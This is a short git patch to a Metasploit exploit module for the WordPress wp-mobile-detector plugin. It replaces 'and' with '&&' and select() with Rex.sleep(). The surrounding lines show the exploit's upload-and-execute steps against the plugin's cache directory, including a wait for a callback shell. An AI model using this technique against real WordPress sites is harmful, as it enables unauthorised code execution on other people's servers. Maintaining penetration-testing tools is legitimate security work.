From 037c58d1f66b2d9ed8235b392d1e6a988d3cc225 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 27 Oct 2017 10:10:04 -0400 Subject: [PATCH] wp-mobile-detector udpates --- .../unix/webapp/wp_mobile_detector_upload_execute.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb b/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb index ae2f4fa7ad..1817767973 100644 --- a/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb +++ b/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb @@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'GET', 'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache') + '/' ) - if res and !res.body.include?(payload_name) + if res && !res.body.include?(payload_name) vprint_status("#{payload_name} verified as not written.") else fail_with(Failure::BadConfig,"#{payload_name} already written on system.") @@ -95,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Remote print_good('Sleeping 5 seconds for payload upload') register_files_for_cleanup(payload_name) - select(nil,nil,nil,5) + Rex.sleep(5) print_status("Executing the payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name)}") send_request_cgi( @@ -103,7 +103,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'cache', payload_name), }) # wait for callback, without this we exit too fast and miss our shell - select(nil,nil,nil,2) + Rex.sleep(2) handler else if res.nil?